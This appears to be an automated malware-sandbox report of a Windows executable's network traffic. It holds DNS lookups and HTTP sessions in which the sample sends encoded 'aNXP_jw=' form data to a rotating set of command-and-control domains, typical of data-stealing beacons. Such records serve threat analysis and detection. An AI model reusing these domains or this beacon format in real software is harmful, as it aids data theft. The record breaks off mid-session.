Dec 2, 2024 14:40:39.171408892 CET	192.168.2.6	1.1.1.1	0x20e3	Standard query (0)	www.nagasl89.baby	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:56.373853922 CET	192.168.2.6	1.1.1.1	0xfe76	Standard query (0)	www.themessageart.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 14:37:21.690649033 CET	1.1.1.1	192.168.2.6	0xd85	No error (0)	www.sidqwdf.fun		185.106.176.204	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:37:39.159745932 CET	1.1.1.1	192.168.2.6	0xb2ae	No error (0)	www.swenansiansie.xyz	swenansiansie.xyz		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 14:37:39.159745932 CET	1.1.1.1	192.168.2.6	0xb2ae	No error (0)	swenansiansie.xyz		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:37:39.159745932 CET	1.1.1.1	192.168.2.6	0xb2ae	No error (0)	swenansiansie.xyz		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:37:53.679882050 CET	1.1.1.1	192.168.2.6	0xc8db	Name error (3)	www.mp3cevir.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:02.399349928 CET	1.1.1.1	192.168.2.6	0xe28e	No error (0)	www.spectre.center		5.39.10.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:18.506180048 CET	1.1.1.1	192.168.2.6	0xb0b4	No error (0)	www.synd.fun		194.58.112.174	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:33.471018076 CET	1.1.1.1	192.168.2.6	0x5d92	No error (0)	www.jagdud.store		209.74.64.187	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:48.560231924 CET	1.1.1.1	192.168.2.6	0x1169	No error (0)	www.wiretap.digital	wiretap.digital		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 14:38:48.560231924 CET	1.1.1.1	192.168.2.6	0x1169	No error (0)	wiretap.digital		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:38:48.560231924 CET	1.1.1.1	192.168.2.6	0x1169	No error (0)	wiretap.digital		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:03.389425039 CET	1.1.1.1	192.168.2.6	0x3c2d	No error (0)	www.it2sp8.vip	it2sp8.vip		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 14:39:03.389425039 CET	1.1.1.1	192.168.2.6	0x3c2d	No error (0)	it2sp8.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:03.389425039 CET	1.1.1.1	192.168.2.6	0x3c2d	No error (0)	it2sp8.vip		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:18.412097931 CET	1.1.1.1	192.168.2.6	0x7c81	No error (0)	www.cbprecise.online	cbprecise.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 14:39:18.412097931 CET	1.1.1.1	192.168.2.6	0x7c81	No error (0)	cbprecise.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:18.412097931 CET	1.1.1.1	192.168.2.6	0x7c81	No error (0)	cbprecise.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:33.851263046 CET	1.1.1.1	192.168.2.6	0x78eb	No error (0)	www.yun08ps.top		47.238.157.253	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:39:33.851278067 CET	1.1.1.1	192.168.2.6	0x78eb	No error (0)	www.yun08ps.top		47.238.157.253	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:09.435236931 CET	1.1.1.1	192.168.2.6	0xbede	No error (0)	www.rtpsilva4d.click	rtpsilva4d.click		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 14:40:09.435236931 CET	1.1.1.1	192.168.2.6	0xbede	No error (0)	rtpsilva4d.click		67.223.117.169	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:24.579834938 CET	1.1.1.1	192.168.2.6	0xb0	No error (0)	www.restobarbebek.xyz	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 14:40:24.579834938 CET	1.1.1.1	192.168.2.6	0xb0	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 14:40:24.579834938 CET	1.1.1.1	192.168.2.6	0xb0	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:39.732336998 CET	1.1.1.1	192.168.2.6	0x20e3	No error (0)	www.nagasl89.baby		162.159.140.104	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:39.732336998 CET	1.1.1.1	192.168.2.6	0x20e3	No error (0)	www.nagasl89.baby		162.159.140.160	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:39.732336998 CET	1.1.1.1	192.168.2.6	0x20e3	No error (0)	www.nagasl89.baby		172.66.0.158	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:39.732336998 CET	1.1.1.1	192.168.2.6	0x20e3	No error (0)	www.nagasl89.baby		172.66.0.102	A (IP address)	IN (0x0001)	false
Dec 2, 2024 14:40:57.065243959 CET	1.1.1.1	192.168.2.6	0xfe76	No error (0)	www.themessageart.online		208.91.197.27	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.sidqwdf.fun

www.swenansiansie.xyz

www.spectre.center

www.synd.fun

www.jagdud.store

www.wiretap.digital

www.it2sp8.vip

www.cbprecise.online

www.yun08ps.top

www.rtpsilva4d.click

www.restobarbebek.xyz

www.nagasl89.baby

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49786	185.106.176.204	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:37:21.827713013 CET	548	OUT	GET /enzp/?aNXP_jw=cVkvAZaY29GpnsZyqIF2yuifFE7HKV6pnqAC3WUldb4fq/7Oh6qhLNzjv12xoDmrSb6mv5wmBpstJhqJzvfwudLk3JbApDF6kA+gMwLx/u/2nNZzSM95XnZVFjyCoQq4ImYZsuE=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.sidqwdf.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:37:23.348037004 CET	720	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Mon, 02 Dec 2024 13:37:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 555 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49823	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:37:39.299262047 CET	822	OUT	POST /08fk/ HTTP/1.1 Host: www.swenansiansie.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.swenansiansie.xyz Referer: http://www.swenansiansie.xyz/08fk/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 39 4d 56 52 55 42 51 44 30 69 4a 4a 67 53 78 76 32 2b 49 4c 6c 33 45 52 38 4f 58 44 4f 70 4b 6a 58 72 54 61 58 50 66 74 61 74 50 64 64 35 30 6f 6b 6c 32 32 35 72 74 4e 72 6c 77 77 78 62 33 6f 72 77 4d 4b 78 34 61 30 69 6e 4d 4b 45 4f 44 78 6a 37 53 4a 2f 64 33 38 47 2b 4c 30 32 53 45 32 4e 4c 53 51 70 69 50 42 38 7a 59 34 4e 76 75 56 6f 6e 64 48 66 6d 4c 79 68 68 42 31 61 4d 6d 31 48 76 39 38 2f 31 47 6e 77 59 64 61 7a 61 44 49 49 46 63 6d 6e 75 62 51 62 38 50 76 68 68 71 73 74 55 79 4b 46 4e 54 50 53 32 79 34 61 76 43 57 75 33 31 2f 33 41 5a 33 64 57 30 56 57 6a 6d 6f 51 79 67 37 49 63 2b 33 61 5a 56 54 Data Ascii: aNXP_jw=9MVRUBQD0iJJgSxv2+ILl3ER8OXDOpKjXrTaXPftatPdd50okl225rtNrlwwxb3orwMKx4a0inMKEODxj7SJ/d38G+L02SE2NLSQpiPB8zY4NvuVondHfmLyhhB1aMm1Hv98/1GnwYdazaDIIFcmnubQb8PvhhqstUyKFNTPS2y4avCWu31/3AZ3dW0VWjmoQyg7Ic+3aZVT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49831	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:37:41.976974010 CET	846	OUT	POST /08fk/ HTTP/1.1 Host: www.swenansiansie.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.swenansiansie.xyz Referer: http://www.swenansiansie.xyz/08fk/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 39 4d 56 52 55 42 51 44 30 69 4a 4a 67 7a 42 76 6d 70 55 4c 69 58 45 57 67 65 58 44 41 4a 4c 6b 58 72 50 61 58 4c 48 48 62 66 72 64 64 64 77 6f 6c 6e 65 32 2b 72 74 4e 67 46 77 31 75 72 33 64 72 77 51 34 78 34 6d 30 69 68 67 4b 45 4c 6e 78 6a 49 36 4b 2f 4e 33 36 41 2b 4c 32 6f 69 45 32 4e 4c 53 51 70 69 4c 72 38 7a 41 34 4b 65 65 56 71 44 70 45 58 47 4c 78 6f 42 42 31 4c 38 6e 64 48 76 38 70 2f 30 72 38 77 61 56 61 7a 61 7a 49 52 30 63 6e 73 75 62 57 55 63 4f 35 6d 45 48 44 70 46 37 73 48 62 44 7a 4e 78 4f 79 57 35 66 4d 79 45 31 63 6c 51 35 31 64 55 73 6e 57 44 6d 43 53 79 59 37 61 4c 79 51 56 74 77 77 32 45 2f 67 62 2f 6c 39 68 6f 31 4a 39 58 57 78 6a 68 43 61 4e 77 3d 3d Data Ascii: aNXP_jw=9MVRUBQD0iJJgzBvmpULiXEWgeXDAJLkXrPaXLHHbfrdddwolne2+rtNgFw1ur3drwQ4x4m0ihgKELnxjI6K/N36A+L2oiE2NLSQpiLr8zA4KeeVqDpEXGLxoBB1L8ndHv8p/0r8waVazazIR0cnsubWUcO5mEHDpF7sHbDzNxOyW5fMyE1clQ51dUsnWDmCSyY7aLyQVtww2E/gb/l9ho1J9XWxjhCaNw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49837	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:37:44.639585018 CET	1859	OUT	POST /08fk/ HTTP/1.1 Host: www.swenansiansie.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.swenansiansie.xyz Referer: http://www.swenansiansie.xyz/08fk/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 39 4d 56 52 55 42 51 44 30 69 4a 4a 67 7a 42 76 6d 70 55 4c 69 58 45 57 67 65 58 44 41 4a 4c 6b 58 72 50 61 58 4c 48 48 62 66 6a 64 63 75 6f 6f 6b 42 57 32 2f 72 74 4e 38 56 77 30 75 72 33 41 72 77 59 38 78 34 71 4b 69 6b 38 4b 43 74 37 78 68 35 36 4b 78 4e 33 36 43 2b 4c 7a 32 53 45 76 4e 4c 44 5a 70 69 37 72 38 7a 41 34 4b 64 47 56 6b 48 64 45 61 6d 4c 79 68 68 42 35 61 4d 6e 6d 48 76 30 35 2f 30 75 4a 78 72 31 61 7a 2b 66 49 54 6d 45 6e 7a 65 62 55 52 63 4f 78 6d 45 44 63 70 46 33 4b 48 62 66 5a 4e 32 6d 79 54 39 43 68 70 67 31 6f 6e 69 5a 6a 4b 6b 59 45 51 32 2b 67 62 56 30 58 66 72 32 55 49 38 56 54 31 6b 7a 70 52 35 6f 4d 30 2b 38 68 78 52 71 67 68 41 7a 66 56 67 2f 35 53 37 4d 79 48 76 34 4a 6e 69 6d 56 68 33 61 31 6a 70 2b 6e 59 50 5a 52 6f 34 45 6f 69 47 65 30 72 4c 58 2b 72 2b 6c 39 37 58 34 53 54 56 67 68 34 6e 75 46 53 4f 5a 62 78 4e 6d 42 31 53 44 73 35 68 46 55 67 53 69 35 67 38 2f 2f 57 4d 30 5a 52 68 77 6d 77 75 4e 49 50 72 4d 43 33 68 62 7a 63 78 55 7a 70 66 [TRUNCATED] Data Ascii: aNXP_jw=9MVRUBQD0iJJgzBvmpULiXEWgeXDAJLkXrPaXLHHbfjdcuookBW2/rtN8Vw0ur3ArwY8x4qKik8KCt7xh56KxN36C+Lz2SEvNLDZpi7r8zA4KdGVkHdEamLyhhB5aMnmHv05/0uJxr1az+fITmEnzebURcOxmEDcpF3KHbfZN2myT9Chpg1oniZjKkYEQ2+gbV0Xfr2UI8VT1kzpR5oM0+8hxRqghAzfVg/5S7MyHv4JnimVh3a1jp+nYPZRo4EoiGe0rLX+r+l97X4STVgh4nuFSOZbxNmB1SDs5hFUgSi5g8//WM0ZRhwmwuNIPrMC3hbzcxUzpfTHwFBnxV+xShcFfXqg3q9OU2LXaOLi+zfUbCAKMp3RKnGw7vFElxhatrS1sjpLqt30d5CYYbC7M+Ev1SwE/XkGz1wBboVMW5tliZCALCFwNO5I+azoBNMnQHoLpdt1oZ8VBJDwgsQVSDZG3RnXy5HumxGhEC7P7yjJnHxFx+NejRqm36Z7yXWswt3P8T4vFXbZMBoFwT4FpcGw1DffnSO1sm08ZUDHh0ENd6UPTrpwOpIB7WFxpP6B8+ukTx5ABfIbyYqA6US7a8KELoBjRQcGjv3LcVyWrsGcchHbceJs5R0NPa3GnriMDxojvUrZ170mKicMVxqJIDgVnnGdexPShfho/A5C1fQb7Z+03re8y40sUy3s+o1WjH/tcNo/u31s1m0YBx9pp0877bQszEPDWNdqSmheQqpNlRl/IyVVJvpRSBRuOJX+DNcHCQ9N662RsZY6HOl4yDMePBhkDlMVv6xfQf89wGSXMOxavERcEWpAAbh+UA6uGTFT8QGzuV0JElk3lW+dPJbbb4VeDM4X48MK5VWzOJCPkMTALOlR4gb7iaSjNCiWkrdJ8Bdnu3eyBz7FawoAAZBfdokQpzjVG1x9zooKmcMX1PAhV87IOsEygDJ9T+n0R1FAqffQzUFfNi1C552Dv3vgrftCJGJ/+sqH70m5RP0s [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49843	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:37:47.302540064 CET	554	OUT	GET /08fk/?aNXP_jw=wO9xX0AKySxfvwdHh4QTlRV0r5byLZyAFqW9fcrcStHhFZoMkGqz6sQIsykFtZP4y0c8jJ2OtnUnMO7zvO6a787TBpev3CA9JKuvjWbz5jcDVeWMoitqZ3m3uhcYDsapTcVm+CQ=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.swenansiansie.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:37:48.437875032 CET	414	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 02 Dec 2024 13:37:48 GMT Content-Type: text/html Content-Length: 274 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 61 4e 58 50 5f 6a 77 3d 77 4f 39 78 58 30 41 4b 79 53 78 66 76 77 64 48 68 34 51 54 6c 52 56 30 72 35 62 79 4c 5a 79 41 46 71 57 39 66 63 72 63 53 74 48 68 46 5a 6f 4d 6b 47 71 7a 36 73 51 49 73 79 6b 46 74 5a 50 34 79 30 63 38 6a 4a 32 4f 74 6e 55 6e 4d 4f 37 7a 76 4f 36 61 37 38 37 54 42 70 65 76 33 43 41 39 4a 4b 75 76 6a 57 62 7a 35 6a 63 44 56 65 57 4d 6f 69 74 71 5a 33 6d 33 75 68 63 59 44 73 61 70 54 63 56 6d 2b 43 51 3d 26 63 54 54 38 75 3d 51 34 4e 48 6f 48 4a 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?aNXP_jw=wO9xX0AKySxfvwdHh4QTlRV0r5byLZyAFqW9fcrcStHhFZoMkGqz6sQIsykFtZP4y0c8jJ2OtnUnMO7zvO6a787TBpev3CA9JKuvjWbz5jcDVeWMoitqZ3m3uhcYDsapTcVm+CQ=&cTT8u=Q4NHoHJ0"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49878	5.39.10.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:02.538472891 CET	813	OUT	POST /v70f/ HTTP/1.1 Host: www.spectre.center Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.spectre.center Referer: http://www.spectre.center/v70f/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 4d 44 6f 44 65 63 69 6d 4f 6c 37 71 59 78 65 43 38 65 67 77 61 43 41 63 45 66 64 57 30 38 4b 56 46 75 62 57 32 70 34 75 45 53 50 4e 63 72 76 56 31 75 6f 57 4d 4d 59 61 6e 41 6e 34 53 66 64 63 74 61 45 6a 47 62 5a 49 35 33 62 63 33 2b 38 71 61 34 74 34 66 44 70 58 35 50 59 70 6c 34 6a 42 68 31 79 51 4f 64 75 68 50 77 78 2b 66 69 67 79 46 44 31 79 4c 62 53 36 36 6a 46 64 2b 35 4d 49 54 47 45 78 34 6c 46 37 62 79 44 52 59 30 4e 79 2b 7a 2f 46 36 43 55 6d 45 67 6e 61 63 37 68 48 79 4f 45 66 74 6e 4b 6c 64 61 4e 42 72 4e 4c 45 2f 2b 32 69 59 54 4d 30 72 33 6a 56 52 30 65 6c 63 66 65 78 4f 62 52 35 62 4e 48 37 Data Ascii: aNXP_jw=MDoDecimOl7qYxeC8egwaCAcEfdW08KVFubW2p4uESPNcrvV1uoWMMYanAn4SfdctaEjGbZI53bc3+8qa4t4fDpX5PYpl4jBh1yQOduhPwx+figyFD1yLbS66jFd+5MITGEx4lF7byDRY0Ny+z/F6CUmEgnac7hHyOEftnKldaNBrNLE/+2iYTM0r3jVR0elcfexObR5bNH7
Dec 2, 2024 14:38:03.860548973 CET	354	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 02 Dec 2024 13:38:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$\|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy\|zvn1DQZ((}&Zce_[0$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49885	5.39.10.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:38:05.197454929 CET	837	OUT	POST /v70f/ HTTP/1.1 Host: www.spectre.center Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.spectre.center Referer: http://www.spectre.center/v70f/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 4d 44 6f 44 65 63 69 6d 4f 6c 37 71 59 54 4b 43 2f 39 49 77 63 69 41 66 41 76 64 57 39 63 4c 39 46 75 6e 57 32 72 55 41 45 67 62 4e 63 4b 2f 56 30 71 38 57 50 4d 59 61 73 67 6e 68 63 2f 64 68 74 61 42 4a 47 65 35 49 35 33 66 63 33 38 6b 71 61 72 46 6e 65 54 70 52 79 76 59 72 76 59 6a 42 68 31 79 51 4f 63 4f 48 50 77 70 2b 65 54 51 79 45 68 64 39 42 37 53 39 79 44 46 64 31 5a 4d 45 54 47 45 70 34 6b 70 52 62 77 37 52 59 30 39 79 39 6d 4c 43 77 43 55 6b 4a 41 6d 78 54 70 67 4b 2f 75 34 64 6a 6c 47 63 4c 35 42 6e 6e 62 57 65 6a 4e 32 42 4b 44 73 32 72 31 37 6e 52 55 65 50 65 66 6d 78 63 4d 64 65 55 35 69 59 52 63 6b 51 68 4c 4e 56 75 47 4b 55 4b 4c 34 68 77 71 74 57 46 41 3d 3d Data Ascii: aNXP_jw=MDoDecimOl7qYTKC/9IwciAfAvdW9cL9FunW2rUAEgbNcK/V0q8WPMYasgnhc/dhtaBJGe5I53fc38kqarFneTpRyvYrvYjBh1yQOcOHPwp+eTQyEhd9B7S9yDFd1ZMETGEp4kpRbw7RY09y9mLCwCUkJAmxTpgK/u4djlGcL5BnnbWejN2BKDs2r17nRUePefmxcMdeU5iYRckQhLNVuGKUKL4hwqtWFA==
Dec 2, 2024 14:38:06.522099018 CET	354	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 02 Dec 2024 13:38:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$\|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy\|zvn1DQZ((}&Zce_[0$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49890	5.39.10.93	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
